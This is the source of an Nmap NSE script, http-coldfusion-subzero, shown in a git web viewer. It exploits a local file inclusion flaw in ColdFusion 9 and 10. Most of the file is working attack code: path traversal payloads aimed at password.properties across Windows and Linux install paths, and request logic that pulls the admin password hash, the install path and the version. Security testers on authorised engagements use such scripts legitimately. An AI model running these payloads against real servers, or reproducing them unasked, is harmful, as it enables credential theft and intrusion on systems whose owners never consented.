summaryrefslogtreecommitdiffstats
path: root/scripts/http-coldfusion-subzero.nse
blob: ae7d5baad802b2f0657f9f3608dfcfcfe354f49e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
description = [[
Attempts to retrieve version, absolute path of administration panel and the
file 'password.properties' from vulnerable installations of ColdFusion 9 and
10.

This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
]]

---
-- @see http-adobe-coldfusion-apsa1301.nse
-- @see http-vuln-cve2009-3960.nse
-- @see http-vuln-cve2010-2861.nse
--
-- @usage nmap -sV --script http-coldfusion-subzero <target>
-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-coldfusion-subzero:
-- |   absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
-- |   version: 9
-- |   password_properties: #Fri Mar 02 17:03:01 CST 2012
-- | rdspassword=
-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
-- |_encrypted=true
--
-- @xmloutput
-- <elem key="version">9</elem>
-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012&#xd;&#xa;rdspassword=&#xd;&#xa;password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0&#xd;&#xa;encrypted=true&#xd;&#xa;</elem>
-- @args http-coldfusion-subzero.basepath Base path. Default: /.
--
---

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit"}

local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local url = require "url"
local openssl = stdnse.silent_require "openssl"

portrule = shortport.http

local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&\z
attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&\z
attributes.var=it&attributes.jscript=false&attributes.type=text/html&\z
attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id\z
=it&attributes.file=../../administrator/mail/download.cfm&filename="
local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&\z
attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&\z
thisTag.executionmode=end&thisTag.generatedContent=htp"
local CREDENTIALS_PAYLOADS = {
  "../../lib/password.properties",
  "..\\..\\lib\\password.properties",
  "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties",
  "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
  "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
  "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
  "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
  "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
  "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
  "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"
}

---
-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY
-- value from the header 'set-cookie'
--
local function get_installation_path(host, port, basepath)
  local req = http.get(host, port, basepath..PATH_PAYLOAD)
  if req.header['set-cookie'] then
    stdnse.debug1("Header 'set-cookie' detected in response.")
    local _, _, path = string.find(req.header['set-cookie'],
      "path=/, ANALYZER_DIRECTORY=(.-);path=/")
    if path then
      stdnse.debug1("Extracted path:%s", path)
      return path
    end
  end
  return nil
end

---
-- Extracts version by comparing an image with known md5 checksums
--
local function get_version(host, port, basepath)
  local version = -1
  local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
  if img_req.status == 200 then
    local md5chk = stdnse.tohex(openssl.md5(img_req.body))
    if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
      stdnse.debug1("CF version 10 detected.")
      version = 10
    elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
      stdnse.debug1("CF version 9 detected.")
      version = 9
    elseif md5chk == "" then
      stdnse.debug1("CF version 8 detected.")
      version = 8
    else
      stdnse.debug1("Could not determine version.")
      version = nil
    end
  end
  return version
end

---
-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
local function exploit(host, port, basepath)
  for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
    local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
      if req.body and string.find(req.body, "encrypted=true") then
        stdnse.debug1("String pattern found. Exploitation worked with vector '%s'.", vector)
        return true, req.body
      end
  end
end

action = function(host, port)
  local output_tab = stdnse.output_table()
  local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"

  local installation_path = get_installation_path(host, port, basepath)
  local version_num = get_version(host, port, basepath)
  local status, file = exploit(host, port, basepath)

  if status then
    if version_num then
      output_tab.version = version_num
    end
    if installation_path then
      output_tab.installation_path = url.unescape(installation_path)
    end
    output_tab.password_properties = file
  else
    return nil
  end

  return output_tab
end